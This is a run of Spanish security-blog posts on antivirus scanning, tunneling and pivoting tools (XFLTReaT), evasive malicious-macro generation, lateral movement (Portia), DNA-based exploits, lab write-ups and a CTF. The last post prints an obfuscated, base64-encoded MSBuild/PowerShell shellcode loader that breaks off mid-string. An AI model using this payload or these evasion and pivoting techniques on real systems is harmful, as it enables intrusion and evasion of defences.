Cómo escanear tu Linux contra virus y rootkits

Seguramente cualquier PC con sistema operativo Linux sea menos susceptible de infectarse que uno con Windows, pero eso no quita que no pueda ser igualmente comprometido. Lo peor es muchos usuarios no han instalado ni ejecutado nunca un antivirus en Linux (y ni mucho menos un anti-rootkit) cuando en otros equipos en Windows saben que no pueden (ni deben) trabajar sin un antivirus de puesto de usuario o endpoint.

No debemos caer en esa falsa sensación de seguridad. El malware por simple economía de escalabilidad está más presente en número y forma en sistemas Windows pero los usuarios de Linux debemos protegernos igualmente contra las mismas amenazas.

Precisamente, navegando por Internet encontré un pequeño artículo de Nick Congleton que recomienda usar ClamAV (quizás el antivirus de código abierto más usado en Linux) además de un par de herramientas para detección de rootkits. ¿Qué usas Linux y todavía no los tienes instalados? No dejes pasar esta oportunidad...

1. ClamAV

ClamAV y su frontend gráfico ClamTk son paquetes independientes. Si usas Ubuntu o una distribución basada en Debian puedes instalarlos simplemente con:

sudo apt install clamav clamtk

Una vez instalados tendremos que actualizar la base de datos del antivirus:

sudo freshclam


El mensaje anterior es debido a que freshclam está corriendo ya como demonio, así que si queremos forzar la actualización de forma manual necesitaremos pararlo previamente:

sudo systemctl stop clamav-freshclam

Ahora ya si podremos actualizar la bd sin problemas:


A continuación procederemos a escanear el filesystem completo (o si preferís un directorio en particular), para ello usaremos clamtk, la versión gráfica.

XFLTReaT: un framework modular para tunneling

Una vez comprometido un servidor es típico intentar realizar un túnel para pivotar a través del mismo, realizar movimientos laterales hacia las redes adyacentes y, en definitiva, continuar con la intrusión. Para ello se aprovecha cualquier “resquicio” a nivel de control de accesos en la seguridad del perímetro correspondiente para establecer un canal encubierto usando los servicios y puertos abiertos para ese servidor.

Hasta ahora, según el protocolo permitido se tenía que instalar una u otra herramienta, a elegir dentro de un abanico de posibilidades cada vez más amplio. De hecho, en el blog ya hemos un buen número de ellas, para realizar túneles TCP (sobre HTTP) con regeorgtunnaABPTTS, Chisel, tcp-over-websockets, UDP con OpenVPN, DNS con dns2tcp o Iodine (DNSCat y Ozymandns son otros) e ICMP con icmp-tunnel (Hans, Ping Tunnel, ICMPTx son también otras opciones).

Pero Balazs Bucsay (@xoreipeip), un hacker húngaro de NCC Group, nos plantea XFLTReaT, un framework para hacer tunneling que precisamente elimina la necesidad de tener que usar distintas herramientas según cada situación. XFLTReaT está escrito en Python 2.7 y es de código abierto, pero sobretodo su principal característica es que es modular, tanto para túneles como para cifrado y autenticación. Y pretende ser lo más plug & play posible: copiar módulos a /modules, ficheros de soporte en /support, editar config y ejecutar.

XFLTReaT nos da esa versatilidad que, como decimos, permite adaptarnos a situaciones diferentes: si sólo se permite tráfico web configuraremos el servidor en el puerto TCP/80, si sólo se permite ICMP del tipo 0 (Echo reply) copiaremos el módulo ICMP y cambiaremos el tipo de 8 a 0, si sólo se permite tráfico HTTP con una cabecera especial podremos configurarlo en el source, si se permite HTTPS pero solo con TLSv1.2 podremos forzarlo e incluso podremos ex filtrar datos mediante mensajes de texto/SMS.


Módulos disponibles
  • TCP
  • UDP
  • ICMP
  • SOCKS v4, 4a, 5
  • HTTP CONNECT
  • DNS (A/CNAME, PRIVATE, NULL) - por el momento sólo PoC
Versiones disponibles

Actualmente hay dos ramas diferentes del framework. La rama o branch principal es una versión estable (v0.1) sin el módulo DNS. La otra rama se llama next-version y tiene la versión más reciente (v0.2), que incluye soporte DNS para algunos registros (A/CNAME, PRIVATE, NULL). Esta rama no ha sido probada a fondo aún.

Para tener una versión estable (sin DNS), utiliza:

# git clone https://github.com/earthquake/xfltreat/

Para obtener el soporte DNS de la rama next-version (que no se ha probado a fondo, tenlo en cuenta):

# git clone https://github.com/earthquake/xfltreat/
# cd xfltreat
# git checkout -b next-version v0.2

Para configurar DNS revisa DNS_notes.md.

Instalación

# git clone https://github.com/earthquake/xfltreat/
# pip install -r requirements.txt
edita xfltreat.conf
# server side: python xfltreat.py
# client side: python xfltreat.py --client

Preparación del servidor

Activa el IP forwarding como root:
# sysctl -w net.ipv4.ip_forward=1
o
# echo 1 > /proc/sys/net/ipv4/ip_forward

Realiza el NAT mediante iptables:
# iptables -t nat -A POSTROUTING -s 10.9.0.0/24 -o eth0 -j MASQUERADE

Proyecto:

https://github.com/earthquake/XFLTReaT
http://xfltreat.info

Estándar de ejecución de pentesting versión 1.0

No sé vosotros, pero yo según voy auditando labs o entornos reales voy añadiendo contínuamente a mis procedimientos de pentesting nuevas técnicas y herramientas. Pienso que cada auditor tiene que tener su propio "librillo" basado en su experiencia que determinará de una u otra forma cómo se harán las pruebas en los sistemas auditados. Pero hay que tener en cuenta que la ejecución en número y forma de estas pruebas pueden derivar en la detección de vulnerabilidades o, lo que es peor, en la NO detección o falsos negativos. Por eso, a parte de tener cada uno su propia guía personalizada según las herramientas con las que mejor se desenvuelve, es fundamental sobretodo en ambientes profesionales seguir un procedimiento de mínimos con un checklist de comprobaciones de "obligatoria" ejecución, básicamente para no dejarnos nada.

Sin embargo a parte de OSSTMM, OWASP (éste último sobretodo para auditoría web) o incluso el proceso "Kill Chain" traído de ambientes militares, no hay todavía demasiados procedimientos o metodologías de pentesting que se puedan oficializar en el mundo empresarial.

Precisamente a principios de 2009 un grupo de investigadores y profesionales discutieron sobre el valor (o la falta de) pruebas de intrusión en la industria y crearon "Penetration Testing Execution Standard".

"Penetration Testing Execution Standard" es un nuevo estándar diseñado para ofrecer tanto a las empresas como a los proveedores de servicios de seguridad un lenguaje y un ámbito comunes para realizar pruebas de intrusión (yo prefiero decir "intrusión" a "penetración" pero al fin y al cabo se trata de evaluaciones de seguridad).

El estándar consta de siete secciones principales. Estas cubren todo lo relacionado con un test de intrusión - desde la comunicación inicial y el razonamiento detrás de un pentest, a través de la recopilación de inteligencia y las fases de modelado de amenazas donde los auditores están trabajando entre bastidores para comprender mejor la organización que están testando, pasando por la investigación de vulnerabilidades, la explotación y post-explotación, donde la experiencia técnica de los auditores entran en juego y se combinan con la comprensión del negocio, y finalmente al reporting, que captura todo el proceso, de manera que tenga sentido para el cliente y le proporcione más valor.

Esta versión se puede considerar una versión 1.0 donde se asientan los elementos del core de la norma, y ha sido probada durante más de un año en la industria. Ya se está trabajando en una versión 2.0 para proporcionar un trabajo más granular en términos de "niveles" - como en los niveles de intensidad en los cuales cada uno de los elementos de un pentest se pueden realizar. Como ningún pentest es igual a otro, y las pruebas van desde la más mundana aplicación web o prueba de red, hasta un compromiso completo tipo red team, dichos niveles permitirán a una organización definir cuánta sofisticación esperan que exhiba su adversario y permitir al auditor intensificar las áreas donde la organización lo necesite más. Algunos de los trabajos iniciales sobre "niveles" se pueden ver en la sección de recolección de inteligencia.

AttifyOS: una distro para pentesting de dispositivos del IoT

Si no quieres gastar tiempo instalando y configurando un montón de herramientas necesarias para auditar dispositivos del Internet de las Cosas (IoT) puedes usar Attify OS de Aditya Gupta (adi0x90), una distribución que ya contiene las herramientas que tendría a mano cualquier pentester dedicado a tal labor.


Las herramientas que incluye son:

Embedded
  • Binwalk
  • Attify Badge tool
  • Baudrate.py
  • Openocd
  • Flashrom
  • Spiflash.py
Firmware y Software
  • Binwalk
  • Firmware-Mod-Kit (FMK)
  • Firmware Analysis Toolkit (FAT)
  • radare2
  • IDA Demo
  • Dex2Jar
  • JADx
  • ROPGadget
Radio
  • GQRX
  • GNURadio
  • Ubertooth-Utils
  • HackRF
  • KillerBee / Attify ZigBee Framework
Credenciales:

oit : attify123

Enlaces de descarga:

Proyecto:

CIRCLean: usa la Raspberry Pi para "sanear" los dispositivos USB no confiables

El malware usa frecuentemente dispositivos de almacenamiento USB para infectar a sus víctimas, de hecho el abuso de pendrives USB es un vector común de infección (véase por ejemplo que el 66% de los pendrives perdidos pueden contener malware).

CIRCLean es una solución independiente que utiliza una Raspberry Pi para analizar y copiar automáticamente los documentos de un dispositivo USB no confiable a otro confiable, basándose fundamentalmente en las siguientes reglas:
  • Copia directa de:
    • Archivos de texto sin formato (tipo mime: text *)
    • Archivos de audio (tipo mime: audio/*)
    • Archivos de vídeo (tipo mime: video/*)
    • Archivos de ejemplo (tipo mime: example/*)
    • Archivos multipart (tipo mime: multipart/*)
    • Archivos xml, después de convertirse a archivos de texto
    • Archivos de flujo de octetos (Octet-stream)
  • Copia después de verificación:
    • Los archivos de imágenes después de verificar que no son bombas zip (tipo mime: image/*)
    • Archivos PDF, después de marcar como peligrosos si contienen contenido malicioso msword|vnd.openxmlformats-officedocument.|vnd.ms-|vnd.oasis.opendocument*, después de analizar con oletools/olefile y marcar como peligroso si falla el análisis.
  • Copiado pero marcado como peligroso (DANGEROUS_filename_DANGEROUS)
    • Archivos de mensajes (tipo mime: menssage/*)
    • Archivos de modelos (tipo mime: model/*)
    • X-dosexec (ejecutable)
  • Archivos comprimidos (zip|x-rar|x-bzip2|x-lzip|x-lzma|x-lzop|x-xz|x-compress|x-gzip|x-tar|*compressed):
    • Los archivos se descomprimen, con el proceso de descompresión detenido después de 2 niveles de archivos para evitar las bombas zip.
    • Las reglas anteriores se aplican de forma recursiva a los archivos desempaquetados.
CIRCLean funciona actualmente con dispositivos USB que tienen sistemas de archivos FAT32, NTFS o ext2/3/4 (los sistemas de archivos ext* sólo pueden usarse como dispositivos de origen, no como dispositivos de destino). Actualmente, exFAT no es compatible debido a la falta de soporte para este formato en pmount. La gran mayoría de los pendrives USB serán FAT32 o NTFS.

Utilidad para generar macros maliciosas (MMG)

Mr.Un1k0d3r del RingZer0 Team nos trae MMG (Malicious Macro Generator) una sencilla pero útil herramienta en Python diseñada para generar macros ofuscadas que también incluyen un mecanismo de escape de AV/Sandboxes. Las técnicas de evasión que implementa actualmente son:

- Comprobación de dominio: la macro chequea la variable de entorno USERDOMAIN y compara el valor con uno predefinido. Si coinciden el payload se ejecuta.
- Comprobación de disco: la macro comprueba el espacio total en disco total. Las máquinas virtuales y las máquinas para pruebas utilizan discos pequeños la mayoría del tiempo.
- Comprobación de memoria: la macro revisa el tamaño de memoria total. Las VMs y las máquinas para pruebas utilizan menos recursos.
- Comprobación del tiempo de actividad: la macro está supervisando el tiempo de actividad del sistema. Los sandboxes devolverán un tiempo de actividad corto.
- Comprobación de procesos: la macro comprueba si se está ejecutando un proceso específico (ejemplo outlook.exe)
- Ofuscación: el script python también generará código ofuscado para evitar la detección heurística


Requiere sólo Python 2.7 y su uso es bastante sencillo. Sólo tenemos que indicar el fichero de configuración en formato json y el nombre de la macro:

Siete documentales de hackers que no debes perderte

Cuando George V. Hulme, un escritor internacionalmente reconocido que lleva más de 20 años hablando sobre tecnología y seguridad de la información, publica un artículo sobre siete documentales de hacking que no deberíamos perdernos, no podemos hacer otra cosa que compartirlos también con vosotros y apuntarlos como documentales de visionado obligatorio para este (lo que queda de) verano. Ahí os lo dejamos, en estricto orden cronológico:

1.- La Historia Secreta del Hacking (2001): gira alrededor de la vida de tres famosos hackers, John Draper (Capitán Crunch), Kevin Mitnick y Steve Wozniak. El documental es una interesante inmersión en el phreaking de teléfonos, el hacking y la ingeniería social durante los años 90, con una vista en los 70.

Enlace (doblado Español): https://www.youtube.com/watch?v=PqMci8R0wsw

2.- Freedom Downtime (2001): un vistazo interesante (de apoyo) a los tiempos del hacker Kevin Mitnick, la comunidad de hackers más ampliamente, y el movimiento Libre de Kevin. Un documental divertido e informativo si no estás familiarizado con este período de tiempo en la historia del hacking.

Enlace (Inglés): https://www.youtube.com/watch?v=77ILA5Cso3w

3.- Código 2600 (2011): este documental tiene una visión (bastante sombría) del creciente papel que están teniendo Internet y las redes sociales en nuestras vidas, especialmente cuando se trata de privacidad y ciberseguridad, y lo que la edad de la información ha significado para la sociedad.

Enlace (Inglés):
https://www.youtube.com/watch?v=SQ5H01axlLs

4.- DefCon: El documental (2013): DefCon es la conferencia anual de hacking celebrada en Las Vegas. Este documental explora la conferencia durante cuatro días en 2014. Es una mirada visual bastante rara de la DefCon porque los organizadores tienen una estricta política de "no-cámaras". Pero para esta película, se hizo una excepción, y el resultado de la experiencia de la DefCon, su personal y asistentes resultó valer la pena.

Enlace (Subtítulos en Español):
https://www.youtube.com/watch?v=PRHK82VNq74

5.- Ciudadano (2014): aunque no es una película de hacking o sobre la cultura del hacking, es como un viaje que vale la pena ver para cualquier persona interesada en una comprensión de Edward Snowden (Citizenfour). Filmada por Laura Poitras, el documental es una crónica de la opinión de Snowden sobre su divulgación de miles de documentos clasificados de la NSA, según lo dicho a través de sus entrevistas con el reportero Glenn Greenwald.

Enlace (inglés): https://www.youtube.com/watch?v=VbHwmnhYdow

6.- El Hijo de Internet: la historia de Aaron Swartz (2014): trata de la trágica historia del experto en informática y activista online Aaron Swartz. Mientras que Swartz co-fundó Reddit, creó RSS y ha sido elogiado a menudo como genio de la informática, lo que llamaba la atención de las fuerzas de la ley eran sus opiniones sobre el acceso de la información. Según las autoridades, Swartz supuestamente descargó una gran cantidad de artículos de revistas académicas en 2010 y 2011. Fue acusado de varios delitos por acceso no autorizado a los sistemas informáticos del MIT y se suicidó durante, lo que muchos describían, una excesiva acusación federal.

Enlace (Subtítulos en Español):
https://www.youtube.com/watch?v=7jhdj0vKbYo

7.- Zero Days (2016): este documental pinta un retrato serio de cuán vulnerable es el mundo físico a los ataques cibernéticos. Los detalles de Zero Days son precisamente los fallos de seguridad que se conocen públicamente antes de que sean conocidos por el fabricante de software (o antes de que se publique un parche), lo precario que es hoy el mundo altamente conectado y cada vez más conducido por software.

Enlace (inglés):
https://www.youtube.com/watch?v=AcgUGujn_nY

Portia: automatiza el escalado de privilegios durante un pentest

Portia es un género de araña saltadora que se alimenta de otras arañas y es conocida por su comportamiento de caza inteligente y su capacidad de resolución de problemas que por lo general sólo se encuentra en animales más grandes.

Por esa razón, Keith Lee (@keith55) de Spiderlabs eligió ese nombre para una herramienta que presentó en la Defcon 25 y que tiene como objetivo automatizar una serie de técnicas comúnmente realizadas en pruebas internas de intrusión de red después de que una cuenta con privilegios bajos haya sido comprometida
  • Escalado de privilegios
  • Movimiento lateral
  • Módulos convenientes
Portia permite proporcionar un nombre de usuario y una contraseña que haya capturada y crackeada previamente, así como en rangos IP, subredes o listas de direcciones IP. La herramienta encuentra su camino alrededor de la red e intenta obtener acceso a los hosts, encuentra y descarga las contraseñas/hashes y las reutiliza para comprometer otros hosts en la red. En resumen, la herramienta ayuda con los movimientos laterales en la red y la automatización de la escalada de privilegios, así como encontrar datos sensibles que residen en los hosts.

Dependencias

apt-get update
apt-get install -y autoconf automake autopoint libtool pkg-config freetds-dev
pip install pysmb tabulate termcolor xmltodict pyasn1 pycrypto pyOpenSSL dnspython netaddr python-nmap
cd /opt
git clone https://github.com/CoreSecurity/impacket
python setup.py install
cd /opt
git clone https://github.com/libyal/libesedb.git && cd libesedb
./synclibs.sh
./autogen.sh
cd /opt
git clone https://github.com/csababarta/ntdsxtract && cd ntdsxtract
python setup.py install
pip install git+https://github.com/pymssql/pymssql.git
cd /opt
git clone https://github.com/volatilityfoundation/volatility && cd volatility
python setup.py install
cd /opt
git clone https://github.com/SpiderLabs/portia

Consiguen escribir malware en... ¡ADN!

Hasta la fecha siempre se ha pensado que modificar el ADN de forma maliciosa ha tenido como objetivo la creación de un arma biológica en forma de toxina o enfermedad infecciosa, pero modificar el ADN para comprometer la computadora que lo está secuenciando es un nuevo vector de ataque que podrían aprovechar los hackers en los próximos años...

Pensarlo por un momento, ahora parece ciencia ficción pero en un futuro próximo la secuenciación genética se hará mucho más cotidiana y un atacante podría aprovecharlo usando muestras falsas de sangre u otras para obtener acceso a equipos universitarios, robar (o modificar) información de laboratorios forenses de la policía o infectar archivos genéticos compartidos por científicos.

Un grupo de investigadores de la Universidad de Washington se dio cuenta de ésto y demostrarán la semana que viene en la conferencia Usenix de Vancouver que, por primera vez, es posible codificar malware en hebras físicas de ADN, de modo que cuando un secuenciador de genes lo analice los datos resultantes se conviertan en un exploit que tome el control del software y la computadora subyacentes. Es lo que ya han denominado la primera "explotación de un sistema informático basada en el ADN".

Básicamente, el ADN está compuesto por nucleóticos que son cuatro moléculas orgánicas Adenina, Timina, Citosina y Guanina, es decir, ATCG respectivamente. Esas 4 letras se van secuenciando en distinto órden y frecuencia a lo largo de distintos genes en las cadenas que se van entrelazando formando las famosas dobles hélices. A grandes rasgos, cuando se secuencia el ADN lo que se está haciendo es trasladar esas secuencias "ATCG" de nucleótidos a formato digital en un formato llamado FASTQ. El fichero en ese formato ocupa varios gigas de texto por lo que normalmente se suele comprimir, en el caso que nos trae mediante el programa fqzcomp. Hackeando ese software de compresión mediante un exploit de desbordamiento de búfer sería posible ejecutar comandos arbitrariamente... y eso fue precisamente el objetivo de los investigadores.

No obstante la dificultad para la realizar el ataque fue máxima e incluso podríamos decir que llegaron a hacer algo de "trampas" porque en lugar de explotar una vulnerabilidad existente en el programa fqzcomp, modificaron el código abierto del programa para insertar su propio fallo permitiendo el desbordamiento del búfer. De todas formas, se trata de la primera prueba de concepto y tenemos que tener siempre en cuenta que los ataques podrían evolucionar y aprovecharse de nuevas vulnerabilidades existentes. De hecho, el equipo de investigadores encontró hasta tres 'buffer overflows' en programas de secuenciación de ADN diferentes.

Por otro lado, los investigadores consiguieron comprar muestras de ADN por sólo $89 pero en seguida se dieron cuenta de que no era nada fácil codificar el malware en ellas. En primer lugar, el ADN tiene algunas limitaciones fisicas: para que la muestra permaneciera estable tenían que mantener una cierta relación de Gs y Cs con As y Ts, porque la estabilidad natural del ADN depende de una proporción regular de pares A-T y G-C. Por dicha razón tuvieron que rescribir el exploit varias veces para que pudiera "encajar" en el ADN real. En segundo lugar, los secuenciadores de ADN trabajan mezclando ADN con sustancias químicas que se enlazan de forma diferente a las unidades básicas de código del ADN -las bases químicas A, T, G y C- y cada una emite un color de luz diferente capturado en una foto de las moléculas de ADN. Para acelerar el procesamiento, las imágenes de millones de bases se dividen en miles de fragmentos y se analizan en paralelo. Así que todos los datos que comprendieron su ataque tuvieron que encajar en sólo unos pocos cientos de esas bases, para aumentar la probabilidad de que se mantendría intacta durante el procesamiento paralelo del secuenciador.

En cualquier caso, superados estos escollos el equipo de investigadores fue capaz de ejecutar comandos en la máquina secuenciando el ADN...

Las empresas que fabrican ADN sintético están ya en alerta y, tal como sugieren los investigadores, pronto se tendrá que empezar a revisar las secuencias de ADN por posibles amenazas informáticas. Pronto también empezaremos a escuchar mucho más el término de ... biohackers.

Paper: http://dnasec.cs.washington.edu/dnasec.pdf

Fuentes:
- Scientists Hack a Computer Using DNA
- DNA Hacking: Malicious Code Written Into A DNA Strand Can Hack A Computer
- Biohackers Encoded Malware in a Strand of DNA

[Pentesterlab write-up] Web For Pentester II - Randomness Issues & MongoDB injection

Teníamos pendiente terminar el segundo laboratorio de Web For Pentesters de Pentesterlab y para ello nos quedaban dos bloques: uno en el que encontraremos distintos problemas derivados por una mala implementación de funciones de aleatorización (Randomness Issues), y el otro en el que tendremos la oportunidad de inyectar en una base de datos NoSQL (MongoDB injection). ¡Vamos a ello!


RANDOMNESS ISSUES

Ejercicio 1:

En el primer ejercicio las instrucciones nos indican que podemos autenticarnos con las credenciales del usuario “hacker”, que dicho usuario ha sido generado en segundo lugar y nos facilitan el código fuente para que obtengamos la contraseña del primer usuario creado, el usuario “admin”:


Como veis el seed es 0 (Random.new(0)) por lo que la contraseña generada siempre será la misma. Entonces sólo tenemos ejecutar el código facilitado y obtendremos la contraseña:

irb(main):001:0> s = Random.new(0)
=> #<Random:0x00559bb31ceab8>
irb(main):002:0> pass = 6.times.map { ('a'..'z').to_a[s.rand(('a'..'z').to_a.size)]}.join
=> "mpvadd"

Hackazon: una aplicación web vulnerable de e-commerce para practicar

Hackazon es un máquina intencionadamente vulnerable que simula ser una tienda online y que incorpora las últimas tecnologías que se usan actualmente: un interfaz AJAX, un workflow realista de e-commerce e incluso un API RESTful para una aplicación móvil


Aunque Dan Kuykendall aka @dan_kuyendall de NT OBJECTives (ahora Rapid7) la presentó ya hace casi 3 años, en el 2014 en la APP Sec USA de OWASP, sigue siendo una interesante opción a la hora de montar un laboratorio de prácticas.

Hackazon es de código abierto y permite además configurar cada área de la aplicación con el fin de cambiar el panorama de vulnerabilidades y así evitar "pruebas conocidas de vulnerabilidades" o cualquier otra forma de "engaño".

Dado que la aplicación incluye interfaces RESTful que potencian la funcionalidad AJAX y clientes móviles (JSON, XML, GwT y AMF), los usuarios necesitarán las últimas herramientas y técnicas para descubrir todas las vulnerabilidades. Hackazon también requiere probar detalladamente los flujos de trabajo, como carritos de compras, que se utilizan comúnmente en aplicaciones empresariales.

Instalación (entorno WAMP)
  •     Descarga el código
  •     Configura el DOCUMENT_ROOT a /web. Asegúrate de que está activado el soporte de htaccess y REWRITE.
  •     Copia /assets/config/db.sample.php a /assets/config/db.php
  •     Cambia la configuración para la BD en /assets/config/db.php
  •     Abre http://yoursitename/install
* La imagen de Docker está todavía en desarrollo: https://community.rapid7.com/thread/9554

Características
Detalles técnicos

Wiki: https://github.com/rapid7/hackazon/wiki

Manual de usuario (pdf): https://community.rapid7.com/servlet/JiveServlet/downloadBody/3452-102-3-8267/Hackazon_User%27s_Guide.pdf

Solucion al reto 21 "acid pirate"

Cuando el camino es arduo y "las piernas pesan", siempre hay alguien empujando. Lejos quedó la (falsa) figura del hacker solitario, hoy en día relacionarse es fundamental y, por ende, las colaboraciones son fundamentales.

Por eso, nos alegramos tanto cuando nos llegó un correo como el que hace unos días recibimos desde Guatemala: César Calderón (@_Stuxnet) se dio cuenta que hace tiempo que no publicábamos ningún reto y aportaba uno nuevo, el 21 (acid pirate).

¡Gracias, somos Comunidad!

Ganadores

En esta ocasión podríamos decir que prácticamente hubo un empate técnico para la primera posición. Primero recibimos el flag final del reto por parte de Eloy (informaticaeloy), pero el primer writeup por correo electrónico fue de Adrián Fernández. Así que ambos comparten el primer puesto.

Finalmente el podio (que podéis ver también en nuestro hall de la fama) quedó así:

Eloy (informaticaeloy)
Adrián Fernández 
Mauricio Trujillo
José Mejuto (JoshyFun)
MRCl0wn
Y4r4G (Team Whoami)
elvecinodeabajo

Solucionario

Cada uno de los que aparecen en el listado enviaron un writeup perfectamente válido, pero quizás el de Eloy fue le más completo, ya que detalla incluso algunos pasos que luego tuvo que rectificar para la consecución de la resolución del reto. Os dejamos con él:

Reto 21: acid pirate

César Calderón aka @_Stuxnet nos mandaba recientemente un correo en el que comentaba que se había dado cuenta que desde hace tiempo no publicábamos ningún reto y quería ayudar a reactivar esa buena costumbre. Para ello nos ha dejado uno que ha hecho en sus tiempos libres, que está muy sencillo (al menos según afirma él), por lo que os animamos a intentarlo a todos. Para empezar simplemente hay que descargar una imagen (la de la derecha) a través del siguiente enlace:

https://mega.nz/#!oxwj1SLT!xqlmt-2MLjpbnPuGqDGhgv7ggqH31MTVzz91NDIy-QA

Hint: extraer los metadatos a la imagen y después de eso tendréis todo para trabajarla...
 
Como antaño, los primeros en resolver el reto serán reconocidos e inscritos en nuestro eterno hall de la fama. Para ello tendrán que mandarnos el flag final y el procedimiento seguido para su consecución. Además en los próximos retos, ya sean en formato individual o en CTF, los ganadores podrán obtener alguna que otra sorpresa adicional (ahí lo dejo).

Por supuesto recordar también que si queréis comentar alguna duda acerca del reto (sin spoilers, por favor) podéis hacerlo por correo o comentando directamente esta entrada.

Por último, queremos agradecerle una vez más a @_Stuxnet por haberse puesto en contacto con nosotros para presentarnos su reto. Ojalá haya más personas que quieran también compartir estos pequeños desafíos que ponen a prueba la pericia y la inteligencia de la gente que nos lee y colabora en lo que ya se ha convertido en nuestra pequeña gran comunidad, la comunidad de Hackplayers. Gracias.

¡Hagan juego señores/as!

Pd. El reto se cierra a las 20:00 GMT +1 del viernes 4 de agosto. Date prisa en mandarnos el writeup (hackplayers_at_ymail.com) si quieres entrar en nuestro hall de la fama!!

Reto cerrado. Gracias a todos por participar, en breve se publicará el writeup correspondiente.

Ejecutando código malicioso gracias a MSBuild con la ayuda de NPS_Payload

En diversas ocasiones hemos visto como se han descubierto binarios nativos de aplicaciones creadas por Microsoft que podrían ser usados para ejecutar código malicioso y ayudar al atacante a comprometer a la víctima, incluso de una manera muy eficaz evadiendo las detecciones por parte del antivirus.

Hoy le toca el marrón a MSBuild, el famoso compilador de Microsoft y Visual Studio.

Casey Smith, más conocido como SubTee y famoso por su ensañamiento continuo con la explotación de productos de Microsoft y Windows, descubrió afirmando que se podía ejecutar código gracias a archivos como .csproj o .xml usando msbuild.exe de Microsoft. Casey observó que hay diversas secciones de dichos formatos en los que se puede introducir código y que serán analizadas y ejecutadas al lanzar msbuild.exe, lo que permitiría la interpretación código, en este caso malicioso, como C# por parte del atacante.

Uno de los ejemplos de payload sería el siguiente:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="npscsharp">
   <nps />
  </Target>
  <UsingTask
    TaskName="nps"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
  <Task>
    <Reference Include="System.Management.Automation" />
      <Code Type="Class" Language="cs">
        <![CDATA[

          using System;
      using System.Collections.ObjectModel;
      using System.Management.Automation;
      using System.Management.Automation.Runspaces;
      using Microsoft.Build.Framework;
      using Microsoft.Build.Utilities;

      public class nps : Task, ITask
        {
            public override bool Execute()
            {
              string cmd = "JFVsQ3RZWU13cSA9IEAiDQpbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiKV0NCnB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBWaXJ0dWFsQWxsb2MoSW50UHRyIGxwQWRkcmVzcywgdWludCBkd1NpemUsIHVpbnQgZmxBbGxvY2F0aW9uVHlwZSwgdWludCBmbFByb3RlY3QpOw0KW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildDQpwdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgQ3JlYXRlVGhyZWFkKEludFB0ciBscFRocmVhZEF0dHJpYnV0ZXMsIHVpbnQgZHdTdGFja1NpemUsIEludFB0ciBscFN0YXJ0QWRkcmVzcywgSW50UHRyIGxwUGFyYW1ldGVyLCB1aW50IGR3Q3JlYXRpb25GbGFncywgSW50UHRyIGxwVGhyZWFkSWQpOw0KW0RsbEltcG9ydCgibXN2Y3J0LmRsbCIpXQ0KcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIG1lbXNldChJbnRQdHIgZGVzdCwgdWludCBzcmMsIHVpbnQgY291bnQpOw0KIkANCg0KJEpteUN3a1FremFOcGYgPSBBZGQtVHlwZSAtbWVtYmVyRGVmaW5pdGlvbiAkVWxDdFlZTXdxIC1OYW1lICJXaW4zMiIgLW5hbWVzcGFjZSBXaW4zMkZ1bmN0aW9ucyAtcGFzc3RocnUNCg0KW0J5dGVbXV0gJFBkc05JRnZwcmd1TkYgPSAweGZjLDB4ZTgsMHg4MiwweDAsMHgwLDB4MCwweDYwLDB4ODksMHhlNSwweDMxDQokUGRzTklGdnByZ3VORiArPSAweGMwLDB4NjQsMHg4YiwweDUwLDB4MzAsMHg4YiwweDUyLDB4YywweDhiLDB4NTINCiRQZHNOSUZ2cHJndU5GICs9IDB4MTQsMHg4YiwweDcyLDB4MjgsMHhmLDB4YjcsMHg0YSwweDI2LDB4MzEsMHhmZg0KJFBkc05JRnZwcmd1TkYgKz0gMHhhYywweDNjLDB4NjEsMHg3YywweDIsMHgyYywweDIwLDB4YzEsMHhjZiwweGQNCiRQZHNOSUZ2cHJndU5GICs9IDB4MSwweGM3LDB4ZTIsMHhmMiwweDUyLDB4NTcsMHg4YiwweDUyLDB4MTAsMHg4Yg0KJFBkc05JRnZwcmd1TkYgKz0gMHg0YSwweDNjLDB4OGIsMHg0YywweDExLDB4NzgsMHhlMywweDQ4LDB4MSwweGQxDQokUGRzTklGdnByZ3VORiArPSAweDUxLDB4OGIsMHg1OSwweDIwLDB4MSwweGQzLDB4OGIsMHg0OSwweDE4LDB4ZTMNCiRQZHNOSUZ2cHJndU5GICs9IDB4M2EsMHg0OSwweDhiLDB4MzQsMHg4YiwweDEsMHhkNiwweDMxLDB4ZmYsMHhhYw0KJFBkc05JRnZwcmd1TkYgKz0gMHhjMSwweGNmLDB4ZCwweDEsMHhjNywweDM4LDB4ZTAsMHg3NSwweGY2LDB4Mw0KJFBkc05JRnZwcmd1TkYgKz0gMHg3ZCwweGY4LDB4M2IsMHg3ZCwweDI0LDB4NzUsMHhlNCwweDU4LDB4OGIsMHg1OA0KJFBkc05JRnZwcmd1TkYgKz0gMHgyNCwweDEsMHhkMywweDY2LDB4OGIsMHhjLDB4NGIsMHg4YiwweDU4LDB4MWMNCiRQZHNOSUZ2cHJndU5GICs9IDB4MSwweGQzLDB4OGIsMHg0LDB4OGIsMHgxLDB4ZDAsMHg4OSwweDQ0LDB4MjQNCiRQZHNOSUZ2cHJndU5GICs9IDB4MjQsMHg1YiwweDViLDB4NjEsMHg1OSwweDVhLDB4NTEsMHhmZiwweGUwLDB4NWYNCiRQZHNOSUZ2cHJndU5GICs9IDB4NWYsMHg1YSwweDhiLDB4MTIsMHhlYiwweDhkLDB4NWQsMHg2OCwweDMzLDB4MzINCiRQZHNOSUZ2cHJndU5GICs9IDB4MCwweDAsMHg2OCwweDc3LDB4NzMsMHgzMiwweDVmLDB4NTQsMHg2OCwweDRjDQokUGRzTklGdnByZ3VORiArPSAweDc3LDB4MjYsMHg3LDB4ZmYsMHhkNSwweGI4LDB4OTAsMHgxLDB4MCwweDANCiRQZHNOSUZ2cHJndU5GICs9IDB4MjksMHhjNCwweDU0LDB4NTAsMHg2OCwweDI5LDB4ODAsMHg2YiwweDAsMHhmZg0KJFBkc05JRnZwcmd1TkYgKz0gMHhkNSwweDZhLDB4NSwweDY4LDB4YzAsMHhhOCwweDEsMHg4NCwweDY4LDB4Mg0KJFBkc05JRn